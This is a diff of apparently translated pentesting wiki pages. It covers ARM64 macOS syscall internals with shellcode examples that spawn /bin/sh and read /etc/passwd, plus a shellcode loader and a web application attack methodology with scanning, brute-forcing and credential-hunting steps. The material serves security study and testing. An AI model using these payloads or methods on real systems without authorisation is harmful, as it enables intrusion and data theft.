**`T`** is 0 the instruction set A32 is used, and if it's 1, the T32 is used. +- **IT Block State Register** (`ITSTATE`): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an **`IT`** prefixed group. +- **`E`** bit: Indicates the **endianness**. +- **Mode and Exception Mask Bits** (0-4): They determine the current execution state. The **5th** one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the **exception mode currently in used** (when a exception occurs and it's being handled). The number set **indicates the current priority** in case another exception is triggered while this is being handled.
-- **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** de hardware externas (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs). +- **`AIF`**: Certain exceptions can be disabled using the bits **`A`**, `I`, `F`. If **`A`** is 1 it means **asynchronous aborts** will be triggered. The **`I`** configures to respond to external hardware **Interrupts Requests** (IRQs). and the F is related to **Fast Interrupt Requests** (FIRs). ## macOS -### Chamadas de sistema BSD +### BSD syscalls -Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Chamadas de sistema BSD terão **x16 > 0**. +Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**. -### Armadilhas Mach +### Mach Traps -Confira em [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) a `mach_trap_table` e em [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. Armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**. +Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. O número máximo de Mach traps é `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. -Você também pode verificar **`libsystem_kernel.dylib`** em um desassemblador para encontrar como chamar essas (e BSD) chamadas de sistema: +You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Note que **Ida** e **Ghidra** também podem descompilar **dylibs específicas** do cache apenas passando pelo cache. +Note que **Ida** e **Ghidra** também podem decompilar **dylibs específicos** do cache simplesmente passando o cache. > [!TIP] -> Às vezes, é mais fácil verificar o código **descompilado** de **`libsystem_kernel.dylib`** **do que** verificar o **código-fonte** porque o código de várias syscalls (BSD e Mach) é gerado via scripts (ver comentários no código-fonte), enquanto na dylib você pode encontrar o que está sendo chamado. +> Às vezes é mais fácil verificar o código **decompilado** de **`libsystem_kernel.dylib`** **do que** verificar o **código-fonte**, porque o código de várias syscalls (BSD e Mach) é gerado via scripts (ver comentários no código-fonte), enquanto no dylib você pode encontrar o que está sendo chamado. -### chamadas machdep +### machdep calls -XNU suporta outro tipo de chamadas chamadas dependentes da máquina. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos para permanecer constantes. +XNU suporta outro tipo de chamadas chamadas machine dependent. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos a permanecer constantes. -### página comm +### comm page -Esta é uma página de memória de proprietário do kernel que está mapeada no espaço de endereços de cada processo de usuário. É destinada a tornar a transição do modo usuário para o espaço do kernel mais rápida do que usar syscalls para serviços do kernel que são usados tanto que essa transição seria muito ineficiente. +Esta é uma página de memória pertencente ao kernel que é mapeada no address space de cada processo de usuário. Destina-se a tornar a transição do modo usuário para o kernel mais rápida do que usar syscalls para serviços do kernel que são usados com tanta frequência que essa transição seria muito ineficiente. -Por exemplo, a chamada `gettimeofdate` lê o valor de `timeval` diretamente da página comm. +Por exemplo a chamada `gettimeofdate` lê o valor de `timeval` diretamente da comm page. ### objc_msgSend -É super comum encontrar essa função usada em programas Objective-C ou Swift. Essa função permite chamar um método de um objeto Objective-C. +É muito comum encontrar essa função usada em programas Objective-C ou Swift. Essa função permite chamar um método de um objeto Objective-C. -Parâmetros ([mais informações na documentação](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([mais info na documentação](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Ponteiro para a instância -- x1: op -> Seletor do método -- x2... -> Restante dos argumentos do método invocado +- x1: op -> Selector do método +- x2... -> Demais argumentos do método invocado -Então, se você colocar um breakpoint antes da ramificação para essa função, pode facilmente encontrar o que está sendo invocado no lldb com (neste exemplo, o objeto chama um objeto de `NSConcreteTask` que irá executar um comando): +Então, se você colocar um breakpoint antes do branch para essa função, você pode descobrir facilmente o que está sendo invocado no lldb com (neste exemplo o objeto chama um objeto de `NSConcreteTask` que irá executar um comando): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,27 +372,27 @@ whoami ) ``` > [!TIP] -> Definindo a variável de ambiente **`NSObjCMessageLoggingEnabled=1`** é possível registrar quando essa função é chamada em um arquivo como `/tmp/msgSends-pid`. +> Ao definir a variável de ambiente **`NSObjCMessageLoggingEnabled=1`** é possível **log** quando essa função é chamada em um arquivo como `/tmp/msgSends-pid`. > -> Além disso, definindo **`OBJC_HELP=1`** e chamando qualquer binário, você pode ver outras variáveis de ambiente que poderia usar para **logar** quando certas ações do Objc-C ocorrem. +> Além disso, definindo **`OBJC_HELP=1`** e executando qualquer binário você pode ver outras variáveis de ambiente que poderia usar para **log** quando certas ações Objc-C ocorrem. -Quando essa função é chamada, é necessário encontrar o método chamado da instância indicada, para isso, diferentes buscas são feitas: +Quando essa função é chamada, é necessário encontrar o método chamado da instância indicada; para isso são feitas diferentes buscas: -- Realizar busca otimista no cache: -- Se bem-sucedido, feito -- Adquirir runtimeLock (leitura) -- Se (realize && !cls->realized) realizar classe -- Se (initialize && !cls->initialized) inicializar classe -- Tentar cache próprio da classe: -- Se bem-sucedido, feito -- Tentar lista de métodos da classe: -- Se encontrado, preencher cache e feito -- Tentar cache da superclasse: -- Se bem-sucedido, feito -- Tentar lista de métodos da superclasse: -- Se encontrado, preencher cache e feito -- Se (resolver) tentar resolvedor de método e repetir a busca da classe -- Se ainda aqui (= tudo mais falhou) tentar forwarder +- Perform optimistic cache lookup: +- If successful, done +- Acquire runtimeLock (read) +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- Try class own cache: +- If successful, done +- Try class method list: +- If found, fill cache and done +- Try superclass cache: +- If successful, done +- Try superclass method list: +- If found, fill cache and done +- If (resolver) try method resolver, and repeat from class lookup +- If still here (= all else has failed) try forwarder ### Shellcodes @@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -Para versões mais recentes do macOS: +Para macOS mais recentes: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -417,7 +420,7 @@ done ```
-C código para testar o shellcode +C code para testar o shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -467,10 +470,10 @@ return 0; #### Shell -Retirado de [**aqui**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e explicado. +Retirado de [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e explicado. {{#tabs}} -{{#tab name="com adr"}} +{{#tab name="with adr"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="com a pilha"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="com adr para linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh" #### Ler com cat -O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha dos endereços). +O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha de endereços). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Invocar comando com sh de um fork para que o processo principal não seja encerrado +#### Invocar comando com sh a partir de um fork para que o processo principal não seja morto ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index d470f2c53..76752beae 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,7 +4,7 @@ ## Informações Básicas -O serviço web é o serviço mais **comum e abrangente** e existem muitos **tipos diferentes de vulnerabilidades**. +O serviço web é o tipo de serviço mais **comum e abrangente** e há muitos **diferentes tipos de vulnerabilidades**. **Porta padrão:** 80 (HTTP), 443(HTTPS) ```bash @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Orientações para Web API +### Diretrizes para Web API {{#ref}} @@ -26,38 +26,38 @@ web-api-pentesting.md ## Resumo da metodologia -> Nesta metodologia vamos supor que você vai atacar um domínio (ou subdomínio) e apenas esse. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web indeterminado dentro do escopo. +> Nesta metodologia vamos supor que você vai atacar um domínio (ou subdomínio) e apenas esse. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web não determinado dentro do escopo. -- [ ] Comece **identificando** as **tecnologias** usadas pelo servidor web. Procure por **truques** para ter em mente durante o restante do teste se você conseguir identificar a tecnologia com sucesso. -- [ ] Existe alguma **vulnerabilidade conhecida** da versão da tecnologia? -- [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informação? -- [ ] Algum **scanner especializado** para rodar (como wpscan)? -- [ ] Execute **scanners de propósito geral**. Você nunca sabe se eles vão encontrar algo ou alguma informação interessante. -- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **SSL/TLS scan** (se HTTPS). -- [ ] Start **spidering** the web page: É hora de **encontrar** todos os possíveis **files, folders** e **parameters being used.** Também verifique por **special findings**. -- [ ] _Observe que toda vez que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spidered._ -- [ ] **Directory Brute-Forcing**: Tente brute forcear todas as pastas descobertas procurando por novos **arquivos** e **diretórios**. -- [ ] _Observe que toda vez que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._ -- [ ] **Backups checking**: Teste se consegue encontrar **backups** de **discovered files** adicionando extensões comuns de backup. +- [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para ter em mente durante o resto do teste se você conseguir identificar a tech com sucesso. +- [ ] Existe alguma **vulnerabilidade conhecida** na versão da tecnologia? +- [ ] Está usando alguma **well known tech**? Algum **useful trick** para extrair mais informação? +- [ ] Algum **specialised scanner** para executar (como wpscan)? +- [ ] Execute **general purposes scanners**. Você nunca sabe se vão encontrar algo ou informações interessantes. +- [ ] Comece com as **initial checks**: **robots**, **sitemap**, erro **404** e **SSL/TLS scan** (se HTTPS). +- [ ] Comece **spidering** a página web: é hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros em uso.** Também verifique por **special findings**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ +- [ ] Directory Brute-Forcing: Tente fazer brute-force em todas as pastas descobertas procurando por novos **files** e **diretórios**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +- [ ] **Verificação de backups**: Teste se você pode encontrar **backups** dos **arquivos descobertos** adicionando extensões de backup comuns. - [ ] **Brute-Force parameters**: Tente **encontrar parâmetros ocultos**. -- [ ] Uma vez que você tenha **identificado** todos os possíveis **endpoints** que aceitam **user input**, verifique todos os tipos de **vulnerabilidades** relacionadas a eles. +- [ ] Depois de ter **identificado** todos os possíveis **endpoints** que aceitam **user input**, verifique todos os tipos de **vulnerabilidades** relacionados a eles. - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Vulnerable?) +## Versão do servidor (Vulnerável?) ### Identificar Verifique se existem **vulnerabilidades conhecidas** para a **versão** do servidor que está em execução.\ -Os **HTTP headers e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** sendo usadas. **Nmap scan** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +Os **HTTP headers and cookies of the response** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** em uso. **Nmap scan** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Search **for** [**vulnerabilidades da aplicação web** **versão**](../../generic-hacking/search-exploits.md) +Pesquisar **por** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md) -### **Verificar se há algum WAF** +### **Verificar se existe algum WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) @@ -65,7 +65,7 @@ Search **for** [**vulnerabilidades da aplicação web** **versão**](../../gener ### Truques de tecnologias web -Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas usadas: +Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas em uso: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -99,28 +99,27 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi - [**WebDav**](put-method-webdav.md) - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) -- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) +- [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/index.html) -_Tenha em conta que o **mesmo domínio** pode estar usando **tecnologias diferentes** em **portas**, **pastas** e **subdomínios** diferentes._\ -Se a aplicação web estiver usando alguma **tecnologia/plataforma listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** por novos truques (e me avise!). +_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ +Se a aplicação web estiver usando qualquer **tech/platform conhecida listada acima** ou **outra qualquer**, não esqueça de **pesquisar na Internet** novos truques (e me avise!). -### Revisão do Código-Fonte +### Source Code Review -Se o **código-fonte** da aplicação estiver disponível no **github**, além de realizar por **você mesmo um White box test** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **Black-Box testing**: - -- Existe um **Change-log ou Readme ou Version** ou qualquer coisa com **informação de versão acessível** via web? -- Como e onde são armazenadas as **credentials**? Existe algum (acessível?) **arquivo** com credenciais (usernames ou passwords)? -- As **passwords** estão em **plain text**, **encrypted** ou qual **hashing algorithm** está sendo usado? -- Está usando alguma **master key** para criptografar algo? Qual **algorithm** está sendo usado? -- Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade? -- Há alguma **informação interessante no github** (issues resolvidas e não resolvidas)? Ou no **commit history** (talvez alguma **password** introduzida em um commit antigo)? +Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **si mesmo um teste White box** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **Black-Box testing**: +- Existe um **Change-log or Readme or Version** file ou qualquer coisa com **informação de versão acessível** via web? +- Como e onde estão salvas as **credentials**? Existe algum (acessível?) **file** com credentials (nomes de usuário ou senhas)? +- As **senhas** estão em **plain text**, **encrypted** ou qual **hashing algorithm** é usado? +- Está a usar alguma **master key** para encriptar algo? Qual **algoritmo** é usado? +- Você consegue **acessar algum desses arquivos** explorando alguma vulnerabilidade? +- Existe alguma **informação interessante no github** (issues resolvidas ou não)? Ou no **commit history** (talvez alguma **senha** introduzida em um commit antigo)? {{#ref}} code-review-tools.md {{#endref}} -### Scanners automáticos +### Automatic scanners #### Scanners automáticos de propósito geral ```bash @@ -136,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Scanners de CMS -Se um CMS for usado, não esqueça de **executar um scanner**, talvez algo interessante seja encontrado: +Se um CMS for usado, não se esqueça de **executar um scanner**, talvez algo interessante seja encontrado: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites para problemas de segurança. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites com problemas de segurança. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,11 +148,11 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Neste ponto você já deve ter algumas informações sobre o servidor web sendo usado pelo cliente (se houver dados fornecidos) e alguns truques para ter em mente durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner. +> Neste ponto você já deve ter algumas informações sobre o web server usado pelo cliente (se houver algum dado fornecido) e alguns truques para ter em mente durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner. ## Step-by-step Web Application Discovery -> A partir deste ponto vamos começar a interagir com a web application. +> A partir deste ponto vamos começar a interagir com a aplicação web. ### Initial checks @@ -168,26 +167,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs **Forcing errors** -Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**. +Web servers may **se comportar de forma inesperada** quando dados estranhos são enviados para eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**. -- Acesse **fake pages** como /whatever_fake.php (.aspx,.html,.etc) -- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter values** to create errors -- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** -- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE +- Acesse **páginas fake** como /whatever_fake.php (.aspx,.html,.etc) +- **Adicione "\[]", "]]", and "\[\["** em **valores de cookie** e **valores de parâmetros** para criar erros +- Gere erro dando input como **`/~randomthing/%s`** no **final** da **URL** +- Tente **different HTTP Verbs** como PATCH, DEBUG ou verbos inválidos como FAKE -#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Verifique se você pode fazer upload de arquivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: +Se você descobrir que **WebDav** está **ativado** mas não tem permissões suficientes para **fazer upload de arquivos** na pasta root tente: -- **Brute Force** credentials -- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. +- **Brute Force** credenciais +- **Fazer upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para enviar arquivos em outras pastas. ### **SSL/TLS vulnerabilites** -- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM** -- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability. +- Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM** +- Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**, então é uma vulnerabilidade alta. -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para checar por **vulnerabilidades** (em programas de Bug Bounty provavelmente esse tipo de vulnerabilidade não será aceito) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reverificar as vulnerabilidades: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,7 +202,7 @@ Information about SSL/TLS vulnerabilities: ### Spidering -Inicie algum tipo de spider na web. O objetivo do spider é encontrar o máximo de paths possível na aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para descobrir o maior número possível de paths válidos. +Inicie algum tipo de **spider** no site. O objetivo do spider é **encontrar o maior número possível de paths** da aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para descobrir o máximo de paths válidos possível. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. @@ -235,8 +234,8 @@ Inicie algum tipo de spider na web. O objetivo do spider é encontrar o máximo ### Brute Force directories and files -Comece o brute-forcing a partir da pasta root e garanta fazer brute-force em todos os directories encontrados usando este método e todos os diretórios descobertos pelo Spidering (você pode fazer esse brute-forcing recursivamente e adicionando no início da wordlist usada os nomes dos diretórios encontrados).\ -Tools: +Comece o **brute-forcing** a partir da pasta root e certifique-se de brute-force **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer esse brute-forcing **recursivamente** e anexar no início da wordlist usada os nomes dos diretórios encontrados).\ +Ferramentas: - **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. @@ -249,7 +248,7 @@ Tools: - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) - [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. -Recommended dictionaries: +**Recommended dictionaries:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -268,41 +267,41 @@ Recommended dictionaries: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._ +_Obs.: sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._ ### What to check on each file found - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -- **File Backups**: Depois de encontrar todos os arquivos, procure por backups de arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns de nomes de backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Você também pode usar a tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. +- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Verifique os comentários de todos os arquivos; você pode encontrar **credentials** ou **hidden functionality**. -- Se você estiver jogando em um **CTF**, um truque comum é esconder informação dentro de comentários à direita da página (usando centenas de spaces para que você não veja os dados se abrir o source code no browser). Outra possibilidade é usar várias new lines e esconder informação em um comentário no final da página web. -- **API keys**: Se você encontrar qualquer API key há guias que mostram como usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**. +- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. +- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. -- **S3 Buckets**: Enquanto faz spidering, verifique se algum subdomain ou link está relacionado a algum S3 bucket. Nesse caso, [**check** the **permissions** of the bucket](buckets/index.html). +- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html). ### Special findings -Enquanto executar o spidering e o brute-forcing você pode encontrar coisas interessantes que precisa notar. +**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. -Interesting files +**Interesting files** -- Procure por links para outros arquivos dentro dos arquivos CSS. +- Look 